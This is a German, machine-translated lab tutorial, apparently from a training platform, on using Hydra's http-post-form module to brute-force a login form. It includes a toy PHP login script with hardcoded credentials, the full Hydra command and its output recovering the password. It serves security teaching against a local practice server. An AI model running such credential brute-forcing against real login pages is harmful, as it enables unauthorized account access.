Hydra-Modulspezifische Optionen erkunden

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden wir die in Hydra verfügbaren HTTP POST-Optionen untersuchen und uns dabei darauf konzentrieren, wie man effektiv Dienste angreift, die HTTP POST zur Authentifizierung verwenden. Wir werden lernen, wie man Benutzernamen und Passwörter sowie die URL, an die die POST-Anfrage gesendet werden soll, angibt.

Dieses Lab führt Sie durch die Überprüfung der HTTP POST-Optionen, das Einrichten eines HTTP POST-Formulars, das Ausführen von Hydra mit spezifischen Optionen und das Validieren des POST-Angriffs. Sie werden lernen, wie Sie Hydra verwenden, um Anmeldeinformationen per Brute-Force anzugreifen, wenn Sie Dienste ins Visier nehmen, die HTTP POST zur Authentifizierung verwenden.

Überprüfung der HTTP POST-Optionen

In diesem Schritt werden wir die in Hydra verfügbaren HTTP POST-Optionen untersuchen. Hydra ist ein leistungsstarkes Werkzeug zum Brute-Force-Angriff auf Anmeldeinformationen und unterstützt verschiedene Protokolle, einschließlich HTTP POST. Wenn wir Webanwendungen angreifen, die HTTP POST zur Authentifizierung verwenden, müssen wir Hydra spezifische Informationen über das Anmeldeformular bereitstellen.

Die grundlegende Syntax für die Verwendung von Hydra mit HTTP POST lautet wie folgt:

hydra -l <username> -P <password_list> <target_ip> http-post-form "<url>:<post_data>:<failure_string>"

Lassen Sie uns die wichtigsten Komponenten aufschlüsseln:

  • hydra: Der Befehl zum Aufrufen von Hydra.
  • -l <username>: Gibt einen einzelnen Benutzernamen an, der für den Angriff verwendet werden soll. Wenn Sie eine Liste von Benutzernamen haben, können Sie stattdessen die Option -L <username_list> verwenden.
  • -P <password_list>: Gibt den Pfad zu einer Datei an, die eine Liste von Passwörtern enthält, die ausprobiert werden sollen.
  • <target_ip>: Die IP-Adresse des Zielservers.
  • http-post-form: Gibt an, dass wir das HTTP POST-Formularmodul verwenden. Dieses Modul wurde entwickelt, um Webformulare anzugreifen, die die POST-Methode verwenden.
  • "<url>:<post_data>:<failure_string>": Dies ist ein entscheidender Teil, der Hydra mitteilt, wie es mit dem Anmeldeformular interagieren soll.
    • <url>: Der Pfad zum Anmeldeskript oder zur Seite, die die POST-Anfrage verarbeitet (z. B. /login.php).
    • <post_data>: Die Daten, die im Body der POST-Anfrage gesendet werden. Dies beinhaltet typischerweise die Namen der Benutzername- und Passwortfelder aus dem HTML-Formular, zusammen mit Platzhaltern für den Benutzernamen und das Passwort, die Hydra ausfüllen wird. Die Platzhalter sind normalerweise ^USER^ für den Benutzernamen und ^PASS^ für das Passwort (z. B. username=^USER^&password=^PASS^).
    • <failure_string>: Eine Zeichenkette, die in der Antwort eines fehlgeschlagenen Anmeldeversuchs erscheint. Hydra verwendet diese Zeichenkette, um festzustellen, ob ein Anmeldeversuch erfolglos war. Sie müssen diese Zeichenkette identifizieren, indem Sie manuell eine Anmeldung mit falschen Anmeldeinformationen versuchen und die Antwort beobachten.

In den folgenden Schritten werden wir ein einfaches HTTP POST-Formular einrichten und dann Hydra verwenden, um es anzugreifen, wobei wir diese Optionen anwenden.

Einrichten des HTTP POST-Formulars

In diesem Schritt richten wir ein einfaches HTTP POST-Formular ein, das wir als Ziel für unsere Hydra-Angriffe verwenden können. Wir haben die notwendigen Dateien (login.html und login.php) bereits während der Einrichtungsphase im Verzeichnis ~/project erstellt.

Lassen Sie uns den Inhalt dieser Dateien untersuchen, um die Struktur des Formulars und die Art und Weise zu verstehen, wie das PHP-Skript den Anmeldeversuch verarbeitet.

Zuerst werfen wir einen Blick auf login.html:

cat ~/project/login.html
<!doctype html>
<html>
  <head>
    <title>Login Form</title>
  </head>
  <body>
    <h1>Login</h1>
    <form method="post" action="login.php">
      <label for="username">Username:</label><br />
      <input type="text" id="username" name="username" /><br /><br />
      <label for="password">Password:</label><br />
      <input type="password" id="password" name="password" /><br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

Dieser HTML-Code definiert ein Formular, das die POST-Methode verwendet und Daten an login.php sendet. Die Eingabefelder heißen username und password. Dies sagt uns, dass die POST-Daten username=<value> und password=<value> enthalten sollten.

Schauen wir uns nun login.php an:

cat ~/project/login.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];

if ($username == 'testuser' && $password == 'password') {
  echo "Login successful!";
} else {
  echo "Invalid username or password";
}
?>

Dieses PHP-Skript prüft, ob der übermittelte username gleich testuser und das password gleich password ist. Wenn sie übereinstimmen, gibt es "Login successful!" aus. Andernfalls gibt es "Invalid username or password" aus.

Aus diesem Skript können wir die Fehlerzeichenkette (failure string) identifizieren: "Invalid username or password". Dies ist die Zeichenkette, nach der Hydra in der Antwort suchen wird, um festzustellen, ob ein Anmeldeversuch fehlgeschlagen ist.

Screenshot des Anmeldeformulars und des PHP-Skripts

Nachdem wir nun die Struktur des Formulars und die Fehlermeldung verstanden haben, verfügen wir über alle Informationen, die wir benötigen, um den Hydra-Befehl im nächsten Schritt zu erstellen.

Überprüfen des Webdienststatus

Bevor Sie mit dem nächsten Schritt fortfahren, überprüfen Sie bitte, ob der PHP-Webdienst läuft und zugänglich ist. Führen Sie den folgenden Befehl in Ihrem Terminal aus:

curl -s http://0.0.0.0:8080/login.php

Wenn Sie den Seiteninhalt sehen (z. B. "Invalid username or password"), läuft der Dienst ordnungsgemäß.

Screenshot, der eine erfolgreiche Webdienstprüfung zeigt

Wenn es keine Antwort gibt oder Sie einen Verbindungsfehler erhalten, können Sie den integrierten PHP-Webserver manuell starten mit:

nohup php -S 0.0.0.0:8080 -t /home/labex/project > /dev/null 2>&1 &

Warten Sie einen Moment und versuchen Sie den curl-Befehl erneut.

Ausführen von Hydra mit HTTP POST

Nachdem wir nun unser Ziel-HTTP POST-Formular eingerichtet und seine Struktur verstanden haben, können wir Hydra verwenden, um zu versuchen, die Anmeldeinformationen per Brute-Force-Angriff zu ermitteln. Wir verwenden die im vorherigen Schritt gesammelten Informationen, um den Hydra-Befehl zu erstellen.

Wir wissen Folgendes:

  • Die Ziel-URL ist /login.php.
  • Die POST-Daten sollten im Format username=^USER^&password=^PASS^ vorliegen.
  • Die Fehlerzeichenkette ist "Invalid username or password".
  • Wir verwenden den Benutzernamen testuser und die Passwortliste ~/project/password.txt.
  • Die Ziel-IP-Adresse ist 0.0.0.0 (unter der Annahme, dass der Webserver lokal läuft).

Lassen Sie uns dies in einem Hydra-Befehl zusammenfassen:

hydra -l testuser -P ~/project/password.txt 0.0.0.0 -s 8080 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid username or password"

Führen Sie diesen Befehl im Terminal aus:

Hydra-Befehlsausführung im Terminal

Hydra beginnt nun, sich mit dem angegebenen Benutzernamen und den Passwörtern aus der Liste am Zielformular anzumelden. Es sendet HTTP POST-Anfragen an http://0.0.0.0:8080/login.php mit dem Benutzernamen und jedem Passwort in den POST-Daten. Wenn die Antwort die Fehlerzeichenkette "Invalid username or password" nicht enthält, betrachtet Hydra den Anmeldeversuch als erfolgreich und meldet die Anmeldeinformationen.

Die Ausgabe zeigt den Fortschritt des Angriffs. Da das richtige Passwort (password) in unserer Datei password.txt enthalten ist, sollte Hydra es schließlich finden.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-22 09:55:07
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://0.0.0.0:8080/login.php:username=^USER^&password=^PASS^:F=Invalid username or password
[8080][http-post-form] host: 0.0.0.0   login: testuser   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-22 09:55:08

Die Zeile [http-post] host: 0.0.0.0 login: testuser password: password zeigt an, dass Hydra die korrekten Anmeldeinformationen erfolgreich gefunden hat.

POST-Angriff validieren

In diesem Schritt validieren wir, dass Hydra das richtige Passwort für das Konto testuser erfolgreich identifiziert hat, und zwar auf zwei Arten:

  1. Zuerst durch die Untersuchung der Hydra-Ausgabe:
[8080][http-post-form] host: 0.0.0.0   login: testuser   password: password

Diese Zeile zeigt an, dass Hydra gültige Anmeldeinformationen gefunden hat: Benutzername testuser mit Passwort password.

  1. Zweitens durch manuelles Überprüfen dieser Anmeldeinformationen in der Weboberfläche:

Um auf das Anmeldeformular in der LabEx-Umgebung zuzugreifen:

  1. Klicken Sie in der oberen Menüleiste auf die Registerkarte "Web 8080".
  2. Fügen Sie in der Adressleiste /login.html am Ende der aktuellen URL hinzu.
  3. Geben Sie die Anmeldeinformationen ein, die Hydra ermittelt hat:
    • Benutzername: testuser
    • Passwort: password
  4. Klicken Sie auf die Schaltfläche "Login".
Screenshot der erfolgreichen Anmeldung nach dem Hydra-Angriff

Wenn Sie nach dem Absenden des Formulars "Login successful!" sehen, bestätigt dies, dass die von Hydra gefundenen Anmeldeinformationen tatsächlich korrekt sind.

Wenn Sie die Erfolgsmeldung nicht sehen, überprüfen Sie die vorherigen Schritte, um sicherzustellen:

  • Die Datei password.txt in ~/project enthält das Passwort password.
  • Die Datei login.php in ~/project prüft korrekt auf den Benutzernamen testuser und das Passwort password und gibt die entsprechenden Meldungen zurück.
  • Der Webserver läuft noch (Sie können ihn bei Bedarf mit php -S 0.0.0.0:8080 -t /home/labex/project neu starten).

Durch den erfolgreichen Abschluss dieses Schritts und die Überprüfung der Anmeldeinformationen sowohl über die Hydra-Ausgabe als auch durch manuelles Testen haben Sie Ihre Fähigkeit demonstriert, Hydra zu verwenden, um gültige Anmeldeinformationen zu ermitteln und ihre Authentizität zu bestätigen.

Zusammenfassung

In diesem Lab haben wir untersucht, wie man Hydra verwendet, um Webanwendungen anzugreifen, die HTTP POST zur Authentifizierung verwenden. Wir haben die wichtigsten Optionen gelernt, die für das Modul http-post-form erforderlich sind, einschließlich der Angabe der Ziel-URL, des Formats der POST-Daten mit Platzhaltern für Benutzernamen und Passwörter (^USER^ und ^PASS^) und der Identifizierung einer Fehlerzeichenkette in der Antwort, um fehlgeschlagene Anmeldeversuche zu erkennen.

Wir haben ein einfaches HTML-Formular und ein PHP-Skript eingerichtet, um eine Anmeldeseite zu simulieren, wodurch wir die Struktur der POST-Anfrage und die erwartete Antwort verstehen konnten. Durch das Erstellen und Ausführen des entsprechenden Hydra-Befehls haben wir die Anmeldeinformationen erfolgreich per Brute-Force-Angriff ermittelt und so die Leistungsfähigkeit von Hydra beim Angriff auf HTTP POST-Formulare demonstriert.

Sie haben gelernt, wie man:

  • Die grundlegende Syntax für die Verwendung von Hydra mit HTTP POST versteht.
  • Die notwendigen Informationen von einem Webformular identifiziert (URL, Feldnamen, Fehlermeldung).
  • Einen Hydra-Befehl erstellt, um ein HTTP POST-Formular anzugreifen.
  • Die Ausgabe von Hydra interpretiert, um einen erfolgreichen Login-Angriff zu validieren.

Dieses Lab bietet ein grundlegendes Verständnis für die Verwendung von Hydra für HTTP POST-Angriffe, ein gängiges Szenario beim Sicherheitstesting von Webanwendungen.